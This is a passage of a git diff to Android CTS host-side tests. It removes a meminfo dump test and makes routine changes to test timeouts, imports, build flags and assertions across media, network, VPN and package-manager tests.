@@ -72,8 +72,6 @@
 
         AlarmManagerIncidentTest.verifyAlarmManagerServiceDumpProto(dump.getAlarm(), filterLevel);
 
-        MemInfoIncidentTest.verifyMemInfoDumpProto(dump.getMeminfo(), filterLevel);
-
         // GraphicsStats is expected to be all AUTOMATIC.
 
         WindowManagerIncidentTest.verifyWindowManagerServiceDumpProto(dump.getWindow(), filterLevel);
diff --git a/hostsidetests/incident/src/com/android/server/cts/MemInfoIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/MemInfoIncidentTest.java
deleted file mode 100644
index 2747972..0000000
--- a/hostsidetests/incident/src/com/android/server/cts/MemInfoIncidentTest.java
+++ /dev/null
@@ -1,181 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts;
-
-import com.android.server.am.MemInfoDumpProto;
-import com.android.server.am.MemInfoDumpProto.AppData;
-import com.android.server.am.MemInfoDumpProto.MemItem;
-import com.android.server.am.MemInfoDumpProto.ProcessMemory;
-
-/** Test to check that ActivityManager properly outputs meminfo data. */
-public class MemInfoIncidentTest extends ProtoDumpTestCase {
-
-    public void testMemInfoDump() throws Exception {
-        final MemInfoDumpProto dump =
-                getDump(MemInfoDumpProto.parser(), "dumpsys -t 30000 meminfo -a --proto");
-
-        verifyMemInfoDumpProto(dump, PRIVACY_NONE);
-    }
-
-    static void verifyMemInfoDumpProto(MemInfoDumpProto dump, final int filterLevel) throws Exception {
-        assertTrue(dump.getUptimeDurationMs() >= 0);
-        assertTrue(dump.getElapsedRealtimeMs() >= 0);
-
-        for (ProcessMemory pm : dump.getNativeProcessesList()) {
-            testProcessMemory(pm);
-        }
-
-        for (AppData ad : dump.getAppProcessesList()) {
-            testAppData(ad);
-        }
-
-        for (MemItem mi : dump.getTotalPssByProcessList()) {
-            testMemItem(mi);
-        }
-        for (MemItem mi : dump.getTotalPssByOomAdjustmentList()) {
-            testMemItem(mi);
-        }
-        for (MemItem mi : dump.getTotalPssByCategoryList()) {
-            testMemItem(mi);
-        }
-
-        assertTrue(0 <= dump.getTotalRamKb());
-        assertTrue(0 <= dump.getCachedPssKb());
-        assertTrue(0 <= dump.getCachedKernelKb());
-        assertTrue(0 <= dump.getFreeKb());
-        assertTrue(0 <= dump.getUsedPssKb());
-        assertTrue(0 <= dump.getUsedKernelKb());
-
-        // Ideally lost RAM would not be negative, but there's an issue where it's sometimes
-        // calculated to be negative.
-        // TODO: re-enable check once the underlying bug has been fixed.
-        // assertTrue(0 <= dump.getLostRamKb());
-
-        assertTrue(0 <= dump.getTotalZramKb());
-        assertTrue(0 <= dump.getZramPhysicalUsedInSwapKb());
-        assertTrue(0 <= dump.getTotalZramSwapKb());
-
-        assertTrue(0 <= dump.getKsmSharingKb());
-        assertTrue(0 <= dump.getKsmSharedKb());
-        assertTrue(0 <= dump.getKsmUnsharedKb());
-        assertTrue(0 <= dump.getKsmVolatileKb());
-
-        assertTrue("Tuning_mb (" + dump.getTuningMb() + ") is not positive", 0 < dump.getTuningMb());
-        assertTrue(0 < dump.getTuningLargeMb());
-
-        assertTrue(0 <= dump.getOomKb());
-
-        assertTrue(0 < dump.getRestoreLimitKb());
-    }
-
-    private static void testProcessMemory(ProcessMemory pm) throws Exception {
-        assertNotNull(pm);
-
-        assertTrue(0 < pm.getPid());
-        // On most Linux machines, the max pid value is 32768 (=2^15), but, it can be set to any
-        // value up to 4194304 (=2^22) if necessary.
-        assertTrue(4194304 >= pm.getPid());
-
-        testHeapInfo(pm.getNativeHeap());
-        testHeapInfo(pm.getDalvikHeap());
-
-        for (ProcessMemory.MemoryInfo mi : pm.getOtherHeapsList()) {
-            testMemoryInfo(mi);
-        }
-        testMemoryInfo(pm.getUnknownHeap());
-        testHeapInfo(pm.getTotalHeap());
-
-        for (ProcessMemory.MemoryInfo mi : pm.getDalvikDetailsList()) {
-            testMemoryInfo(mi);
-        }
-
-        ProcessMemory.AppSummary as = pm.getAppSummary();
-        assertTrue(0 <= as.getJavaHeapPssKb());
-        assertTrue(0 <= as.getNativeHeapPssKb());
-        assertTrue(0 <= as.getCodePssKb());
-        assertTrue(0 <= as.getStackPssKb());
-        assertTrue(0 <= as.getGraphicsPssKb());
-        assertTrue(0 <= as.getPrivateOtherPssKb());
-        assertTrue(0 <= as.getSystemPssKb());
-        assertTrue(0 <= as.getTotalSwapPss());
-        assertTrue(0 <= as.getTotalSwapKb());
-    }
-
-    private static void testMemoryInfo(ProcessMemory.MemoryInfo mi) throws Exception {
-        assertNotNull(mi);
-
-        assertTrue(0 <= mi.getTotalPssKb());
-        assertTrue(0 <= mi.getCleanPssKb());
-        assertTrue(0 <= mi.getSharedDirtyKb());
-        assertTrue(0 <= mi.getPrivateDirtyKb());
-        assertTrue(0 <= mi.getSharedCleanKb());
-        assertTrue(0 <= mi.getPrivateCleanKb());
-        assertTrue(0 <= mi.getDirtySwapKb());
-        assertTrue(0 <= mi.getDirtySwapPssKb());
-    }
-
-    private static void testHeapInfo(ProcessMemory.HeapInfo hi) throws Exception {
-        assertNotNull(hi);
-
-        testMemoryInfo(hi.getMemInfo());
-        assertTrue(0 <= hi.getHeapSizeKb());
-        assertTrue(0 <= hi.getHeapAllocKb());
-        assertTrue(0 <= hi.getHeapFreeKb());
-    }
-
-    private static void testAppData(AppData ad) throws Exception {
-        assertNotNull(ad);
-
-        testProcessMemory(ad.getProcessMemory());
-
-        AppData.ObjectStats os = ad.getObjects();
-        assertTrue(0 <= os.getViewInstanceCount());
-        assertTrue(0 <= os.getViewRootInstanceCount());
-        assertTrue(0 <= os.getAppContextInstanceCount());
-        assertTrue(0 <= os.getActivityInstanceCount());
-        assertTrue(0 <= os.getGlobalAssetCount());
-        assertTrue(0 <= os.getGlobalAssetManagerCount());
-        assertTrue(0 <= os.getLocalBinderObjectCount());
-        assertTrue(0 <= os.getProxyBinderObjectCount());
-        assertTrue(0 <= os.getParcelMemoryKb());
-        assertTrue(0 <= os.getParcelCount());
-        assertTrue(0 <= os.getBinderObjectDeathCount());
-        assertTrue(0 <= os.getOpenSslSocketCount());
-        assertTrue(0 <= os.getWebviewInstanceCount());
-
-        AppData.SqlStats ss = ad.getSql();
-        assertTrue(0 <= ss.getMemoryUsedKb());
-        assertTrue(0 <= ss.getPagecacheOverflowKb());
-        assertTrue(0 <= ss.getMallocSizeKb());
-        for (AppData.SqlStats.Database d : ss.getDatabasesList()) {
-            assertTrue(0 <= d.getPageSize());
-            assertTrue(0 <= d.getDbSize());
-            assertTrue(0 <= d.getLookasideB());
-        }
-    }
-
-    private static void testMemItem(MemItem mi) throws Exception {
-        assertNotNull(mi);
-
-        assertTrue(0 <= mi.getPssKb());
-        assertTrue(0 <= mi.getSwapPssKb());
-
-        for (MemItem smi : mi.getSubItemsList()) {
-            testMemItem(smi);
-        }
-    }
-}
diff --git a/hostsidetests/incrementalinstall/app/Android.bp b/hostsidetests/incrementalinstall/app/Android.bp
index 483011e..85a8be1 100644
--- a/hostsidetests/incrementalinstall/app/Android.bp
+++ b/hostsidetests/incrementalinstall/app/Android.bp
@@ -33,6 +33,10 @@
     export_package_resources: true,
     aapt_include_all_resources: true,
     manifest: "AndroidManifestV1.xml",
+
+    // This flag allow the native lib to be compressed in the apk or associated split apk, and
+    // needs to be extracted by the installer instead of calling directly into the apk.
+    use_embedded_native_libs: false,
 }
 
 // v2 implementation of test app built with v1 manifest for zero version update test.
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java
index 7738e31..d508a1d 100644
--- a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java
@@ -62,7 +62,7 @@
 @RunWith(AndroidJUnit4.class)
 public class InputMethodServiceDeviceTest {
 
-    private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(5);
+    private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(7);
 
     /** Test to check CtsInputMethod1 receives onCreate and onStartInput. */
     @Test
diff --git a/hostsidetests/media/Android.bp b/hostsidetests/media/Android.bp
index 3e85112..635c5c2 100644
--- a/hostsidetests/media/Android.bp
+++ b/hostsidetests/media/Android.bp
@@ -33,6 +33,10 @@
         "tradefed",
         "compatibility-host-util",
     ],
+
+    static_libs: [
+        "cts-host-utils",
+    ],
 }
 
 filegroup {
diff --git a/hostsidetests/media/bitstreams/Android.bp b/hostsidetests/media/bitstreams/Android.bp
index 9c17208..f13984e 100644
--- a/hostsidetests/media/bitstreams/Android.bp
+++ b/hostsidetests/media/bitstreams/Android.bp
@@ -22,6 +22,9 @@
         "cts-tradefed",
         "tradefed",
     ],
+    static_libs: [
+        "cts-host-utils",
+    ],
     // Tag this module as a cts test artifact
     test_suites: [
         "cts",
diff --git a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/H264Yuv420_8bitBpBitstreamsFullTest.java b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/H264Yuv420_8bitBpBitstreamsFullTest.java
index 72bb15a..0c18703 100644
--- a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/H264Yuv420_8bitBpBitstreamsFullTest.java
+++ b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/H264Yuv420_8bitBpBitstreamsFullTest.java
@@ -15,6 +15,9 @@
  */
 package android.media.cts.bitstreams;
 
+import android.cts.host.utils.DeviceJUnit4ClassRunnerWithParameters;
+import android.cts.host.utils.DeviceJUnit4Parameterized;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.junit.runners.Parameterized.Parameters;
diff --git a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/H264Yuv420_8bitBpBitstreamsTest.java b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/H264Yuv420_8bitBpBitstreamsTest.java
index 5bcfe7e..6ca00d8 100644
--- a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/H264Yuv420_8bitBpBitstreamsTest.java
+++ b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/H264Yuv420_8bitBpBitstreamsTest.java
@@ -15,6 +15,9 @@
  */
 package android.media.cts.bitstreams;
 
+import android.cts.host.utils.DeviceJUnit4ClassRunnerWithParameters;
+import android.cts.host.utils.DeviceJUnit4Parameterized;
+
 import org.junit.runner.RunWith;
 import org.junit.runners.Parameterized.Parameters;
 import org.junit.runners.Parameterized.UseParametersRunnerFactory;
diff --git a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/H264Yuv420_8bitHpBitstreamsFullTest.java b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/H264Yuv420_8bitHpBitstreamsFullTest.java
index 7db0198f..3dd9b35 100644
--- a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/H264Yuv420_8bitHpBitstreamsFullTest.java
+++ b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/H264Yuv420_8bitHpBitstreamsFullTest.java
@@ -15,6 +15,9 @@
  */
 package android.media.cts.bitstreams;
 
+import android.cts.host.utils.DeviceJUnit4ClassRunnerWithParameters;
+import android.cts.host.utils.DeviceJUnit4Parameterized;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.junit.runners.Parameterized.Parameters;
diff --git a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/H264Yuv420_8bitHpBitstreamsTest.java b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/H264Yuv420_8bitHpBitstreamsTest.java
index 6ba3822..7c06151 100644
--- a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/H264Yuv420_8bitHpBitstreamsTest.java
+++ b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/H264Yuv420_8bitHpBitstreamsTest.java
@@ -15,6 +15,9 @@
  */
 package android.media.cts.bitstreams;
 
+import android.cts.host.utils.DeviceJUnit4ClassRunnerWithParameters;
+import android.cts.host.utils.DeviceJUnit4Parameterized;
+
 import org.junit.runner.RunWith;
 import org.junit.runners.Parameterized.Parameters;
 import org.junit.runners.Parameterized.UseParametersRunnerFactory;
diff --git a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/H264Yuv420_8bitMpBitstreamsFullTest.java b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/H264Yuv420_8bitMpBitstreamsFullTest.java
index 4811150..1634856 100644
--- a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/H264Yuv420_8bitMpBitstreamsFullTest.java
+++ b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/H264Yuv420_8bitMpBitstreamsFullTest.java
@@ -15,6 +15,9 @@
  */
 package android.media.cts.bitstreams;
 
+import android.cts.host.utils.DeviceJUnit4ClassRunnerWithParameters;
+import android.cts.host.utils.DeviceJUnit4Parameterized;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.junit.runners.Parameterized.Parameters;
diff --git a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/H264Yuv420_8bitMpBitstreamsTest.java b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/H264Yuv420_8bitMpBitstreamsTest.java
index b7f2c67..90e9bdf 100644
--- a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/H264Yuv420_8bitMpBitstreamsTest.java
+++ b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/H264Yuv420_8bitMpBitstreamsTest.java
@@ -15,6 +15,9 @@
  */
 package android.media.cts.bitstreams;
 
+import android.cts.host.utils.DeviceJUnit4ClassRunnerWithParameters;
+import android.cts.host.utils.DeviceJUnit4Parameterized;
+
 import org.junit.runner.RunWith;
 import org.junit.runners.Parameterized.Parameters;
 import org.junit.runners.Parameterized.UseParametersRunnerFactory;
diff --git a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/HevcYuv400BitstreamsFullTest.java b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/HevcYuv400BitstreamsFullTest.java
index e00283f..50e9924 100644
--- a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/HevcYuv400BitstreamsFullTest.java
+++ b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/HevcYuv400BitstreamsFullTest.java
@@ -15,6 +15,9 @@
  */
 package android.media.cts.bitstreams;
 
+import android.cts.host.utils.DeviceJUnit4ClassRunnerWithParameters;
+import android.cts.host.utils.DeviceJUnit4Parameterized;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.junit.runners.Parameterized.Parameters;
diff --git a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/HevcYuv420BitstreamsFullTest.java b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/HevcYuv420BitstreamsFullTest.java
index eb0fda7..b7a752d 100644
--- a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/HevcYuv420BitstreamsFullTest.java
+++ b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/HevcYuv420BitstreamsFullTest.java
@@ -15,6 +15,9 @@
  */
 package android.media.cts.bitstreams;
 
+import android.cts.host.utils.DeviceJUnit4ClassRunnerWithParameters;
+import android.cts.host.utils.DeviceJUnit4Parameterized;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.junit.runners.Parameterized.Parameters;
diff --git a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/HevcYuv420BitstreamsTest.java b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/HevcYuv420BitstreamsTest.java
index 1334c82..7d8b289 100644
--- a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/HevcYuv420BitstreamsTest.java
+++ b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/HevcYuv420BitstreamsTest.java
@@ -15,6 +15,9 @@
  */
 package android.media.cts.bitstreams;
 
+import android.cts.host.utils.DeviceJUnit4ClassRunnerWithParameters;
+import android.cts.host.utils.DeviceJUnit4Parameterized;
+
 import org.junit.runner.RunWith;
 import org.junit.runners.Parameterized.Parameters;
 import org.junit.runners.Parameterized.UseParametersRunnerFactory;
diff --git a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/HevcYuv422BitstreamsFullTest.java b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/HevcYuv422BitstreamsFullTest.java
index 0efdad2..528eefb 100644
--- a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/HevcYuv422BitstreamsFullTest.java
+++ b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/HevcYuv422BitstreamsFullTest.java
@@ -15,6 +15,9 @@
  */
 package android.media.cts.bitstreams;
 
+import android.cts.host.utils.DeviceJUnit4ClassRunnerWithParameters;
+import android.cts.host.utils.DeviceJUnit4Parameterized;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.junit.runners.Parameterized.Parameters;
diff --git a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/HevcYuv444BitstreamsFullTest.java b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/HevcYuv444BitstreamsFullTest.java
index 0f564ea..94bad70 100644
--- a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/HevcYuv444BitstreamsFullTest.java
+++ b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/HevcYuv444BitstreamsFullTest.java
@@ -15,6 +15,9 @@
  */
 package android.media.cts.bitstreams;
 
+import android.cts.host.utils.DeviceJUnit4ClassRunnerWithParameters;
+import android.cts.host.utils.DeviceJUnit4Parameterized;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.junit.runners.Parameterized.Parameters;
diff --git a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/Vp8BitstreamsFullTest.java b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/Vp8BitstreamsFullTest.java
index bbfc2eb..7146d94 100644
--- a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/Vp8BitstreamsFullTest.java
+++ b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/Vp8BitstreamsFullTest.java
@@ -15,6 +15,9 @@
  */
 package android.media.cts.bitstreams;
 
+import android.cts.host.utils.DeviceJUnit4ClassRunnerWithParameters;
+import android.cts.host.utils.DeviceJUnit4Parameterized;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.junit.runners.Parameterized.Parameters;
diff --git a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/Vp8BitstreamsTest.java b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/Vp8BitstreamsTest.java
index 8587abd..679850a 100644
--- a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/Vp8BitstreamsTest.java
+++ b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/Vp8BitstreamsTest.java
@@ -15,6 +15,9 @@
  */
 package android.media.cts.bitstreams;
 
+import android.cts.host.utils.DeviceJUnit4ClassRunnerWithParameters;
+import android.cts.host.utils.DeviceJUnit4Parameterized;
+
 import org.junit.runner.RunWith;
 import org.junit.runners.Parameterized.Parameters;
 import org.junit.runners.Parameterized.UseParametersRunnerFactory;
diff --git a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/Vp9Yuv420BitstreamsFullTest.java b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/Vp9Yuv420BitstreamsFullTest.java
index d209011..656ea21 100644
--- a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/Vp9Yuv420BitstreamsFullTest.java
+++ b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/Vp9Yuv420BitstreamsFullTest.java
@@ -15,6 +15,9 @@
  */
 package android.media.cts.bitstreams;
 
+import android.cts.host.utils.DeviceJUnit4ClassRunnerWithParameters;
+import android.cts.host.utils.DeviceJUnit4Parameterized;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.junit.runners.Parameterized.Parameters;
diff --git a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/Vp9Yuv420BitstreamsTest.java b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/Vp9Yuv420BitstreamsTest.java
index 9b048bb..b80ff7f 100644
--- a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/Vp9Yuv420BitstreamsTest.java
+++ b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/Vp9Yuv420BitstreamsTest.java
@@ -15,6 +15,9 @@
  */
 package android.media.cts.bitstreams;
 
+import android.cts.host.utils.DeviceJUnit4ClassRunnerWithParameters;
+import android.cts.host.utils.DeviceJUnit4Parameterized;
+
 import org.junit.runner.RunWith;
 import org.junit.runners.Parameterized.Parameters;
 import org.junit.runners.Parameterized.UseParametersRunnerFactory;
diff --git a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/Vp9Yuv422BitstreamsFullTest.java b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/Vp9Yuv422BitstreamsFullTest.java
index a03f1c4..3dda21a 100644
--- a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/Vp9Yuv422BitstreamsFullTest.java
+++ b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/Vp9Yuv422BitstreamsFullTest.java
@@ -15,6 +15,9 @@
  */
 package android.media.cts.bitstreams;
 
+import android.cts.host.utils.DeviceJUnit4ClassRunnerWithParameters;
+import android.cts.host.utils.DeviceJUnit4Parameterized;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.junit.runners.Parameterized.Parameters;
diff --git a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/Vp9Yuv444BitstreamsFullTest.java b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/Vp9Yuv444BitstreamsFullTest.java
index 22786fc..bf6b095 100644
--- a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/Vp9Yuv444BitstreamsFullTest.java
+++ b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/Vp9Yuv444BitstreamsFullTest.java
@@ -15,6 +15,9 @@
  */
 package android.media.cts.bitstreams;
 
+import android.cts.host.utils.DeviceJUnit4ClassRunnerWithParameters;
+import android.cts.host.utils.DeviceJUnit4Parameterized;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.junit.runners.Parameterized.Parameters;
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/NetworkCallbackTest.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/NetworkCallbackTest.java
index ec884d0..aa59959 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/NetworkCallbackTest.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/NetworkCallbackTest.java
@@ -83,6 +83,7 @@
     }
 
     private class TestNetworkCallback extends INetworkCallback.Stub {
+        private static final int TEST_CONNECT_TIMEOUT_MS = 30_000;
         private static final int TEST_CALLBACK_TIMEOUT_MS = 5_000;
 
         private final LinkedBlockingQueue<CallbackInfo> mCallbacks = new LinkedBlockingQueue<>();
@@ -130,14 +131,11 @@
             setLastCallback(CallbackState.CAPABILITIES, network, cap);
         }
 
-        public void expectLostCallback(Network expectedNetwork) {
-            expectCallback(CallbackState.LOST, expectedNetwork, null);
-        }
-
         public Network expectAvailableCallbackAndGetNetwork() {
-            final CallbackInfo cb = nextCallback(TEST_CALLBACK_TIMEOUT_MS);
+            final CallbackInfo cb = nextCallback(TEST_CONNECT_TIMEOUT_MS);
             if (cb.state != CallbackState.AVAILABLE) {
-                fail("Network is not available");
+                fail("Network is not available. Instead obtained the following callback :"
+                        + cb);
             }
             return cb.network;
         }
@@ -152,7 +150,7 @@
             do {
                 final CallbackInfo cb = nextCallback((int) (deadline - System.currentTimeMillis()));
                 if (cb.state == CallbackState.BLOCKED_STATUS) {
-                    assertEquals(expectBlocked, (Boolean) cb.arg);
+                    assertEquals(expectBlocked, cb.arg);
                     return;
                 }
             } while (System.currentTimeMillis() <= deadline);
@@ -165,10 +163,10 @@
             final NetworkCapabilities cap = (NetworkCapabilities) cb.arg;
             assertEquals(expectedNetwork, cb.network);
             assertEquals(CallbackState.CAPABILITIES, cb.state);
-            if (hasCapability) {
-                assertTrue(cap.hasCapability(capability));
-            } else {
-                assertFalse(cap.hasCapability(capability));
+            if (hasCapability != cap.hasCapability(capability)) {
+                fail("NetworkCapabilities callback "
+                        + (hasCapability ? "missing expected" : "has unexpected")
+                        + " capability. " + cb);
             }
         }
     }
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/VpnTest.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/VpnTest.java
index 26397ef..a451ea8 100755
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/VpnTest.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/VpnTest.java
@@ -1016,7 +1016,8 @@
         final Thread[] threads = new Thread[NUM_THREADS];
         startVpn(new String[] {"192.0.2.2/32", "2001:db8:1:2::ffe/128"},
                  new String[] {"0.0.0.0/0", "::/0"},
-                 "", "", null, null /* underlyingNetworks */, false /* isAlwaysMetered */);
+                 "" /* allowedApplications */, "com.android.shell" /* disallowedApplications */,
+                null /* proxyInfo */, null /* underlyingNetworks */, false /* isAlwaysMetered */);
 
         for (int i = 0; i < NUM_THREADS; i++) {
             threads[i] = new Thread(() -> {
diff --git a/hostsidetests/packagemanager/dynamicmime/OWNERS b/hostsidetests/packagemanager/dynamicmime/OWNERS
index af9eee9..3f48dcf 100644
--- a/hostsidetests/packagemanager/dynamicmime/OWNERS
+++ b/hostsidetests/packagemanager/dynamicmime/OWNERS
@@ -1,2 +1,2 @@
-# Bug component: 136635677
-tantoshchuk@google.com
\ No newline at end of file
+# Bug component: 36137
+tantoshchuk@google.com
diff --git a/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/preferred/PreferredActivitiesTest.java b/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/preferred/PreferredActivitiesTest.java
index 5ef052ef..c9e25b0 100644
--- a/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/preferred/PreferredActivitiesTest.java
+++ b/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/preferred/PreferredActivitiesTest.java
@@ -28,8 +28,10 @@
 
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertNull;
+import static org.junit.Assume.assumeTrue;
 
 import android.content.Intent;
+import android.content.res.Resources;
 import android.dynamicmime.testapp.BaseDynamicMimeTest;
 import android.dynamicmime.testapp.assertions.MimeGroupAssertions;
 import android.dynamicmime.testapp.commands.MimeGroupCommands;
@@ -52,10 +54,13 @@
 
 @RunWith(AndroidJUnit4.class)
 public class PreferredActivitiesTest extends BaseDynamicMimeTest {
+    private static final String NAV_BAR_INTERACTION_MODE_RES_NAME = "config_navBarInteractionMode";
+    private static final int NAV_BAR_INTERACTION_MODE_GESTURAL = 2;
+
     private static final BySelector BUTTON_ALWAYS = By.res("android:id/button_always");
     private static final BySelector RESOLVER_DIALOG = By.res("android:id/contentPanel");
 
-    private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(5);
+    private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(30L);
 
     private TestStrategy mTest;
 
@@ -66,6 +71,17 @@
     @Before
     public void setUp() {
         Utils.installApk(APK_PREFERRED_APP);
+        assumeNavigationMode();
+    }
+
+    private void assumeNavigationMode() {
+        Resources res = context().getResources();
+        int navModeResId = res.getIdentifier(NAV_BAR_INTERACTION_MODE_RES_NAME, "integer",
+                "android");
+        int navMode = res.getInteger(navModeResId);
+
+        assumeTrue("Non-gesture navigation mode required",
+                navMode != NAV_BAR_INTERACTION_MODE_GESTURAL);
     }
 
     @After
@@ -281,7 +297,7 @@
 
     private void chooseUseAlways() {
         getUiDevice()
-                .findObject(BUTTON_ALWAYS)
+                .wait(Until.findObject(BUTTON_ALWAYS), TIMEOUT)
                 .click();
     }
 
diff --git a/hostsidetests/packagemanager/extractnativelibs/Android.bp b/hostsidetests/packagemanager/extractnativelibs/Android.bp
index 93f55a1..34c4a4d 100644
--- a/hostsidetests/packagemanager/extractnativelibs/Android.bp
+++ b/hostsidetests/packagemanager/extractnativelibs/Android.bp
@@ -27,4 +27,5 @@
         "tradefed",
         "compatibility-host-util",
     ],
+    java_resource_dirs: ["res"],
 }
diff --git a/hostsidetests/packagemanager/extractnativelibs/apps/Android.bp b/hostsidetests/packagemanager/extractnativelibs/apps/Android.bp
index 4a27ad2..8d1a673 100644
--- a/hostsidetests/packagemanager/extractnativelibs/apps/Android.bp
+++ b/hostsidetests/packagemanager/extractnativelibs/apps/Android.bp
@@ -41,6 +41,7 @@
     static_libs: ["androidx.test.rules"],
     use_embedded_native_libs: true,
     compile_multilib: "both",
+    v4_signature: true,
 }
 
 android_test_helper_app {
@@ -60,5 +61,6 @@
     static_libs: ["androidx.test.rules"],
     use_embedded_native_libs: false,
     compile_multilib: "both",
+    v4_signature: true,
 }
 
diff --git a/hostsidetests/packagemanager/extractnativelibs/res/prebuilt/CtsExtractNativeLibsAppFalseWithMisalignedLib.apk b/hostsidetests/packagemanager/extractnativelibs/res/prebuilt/CtsExtractNativeLibsAppFalseWithMisalignedLib.apk
new file mode 100644
index 0000000..f5aed6d
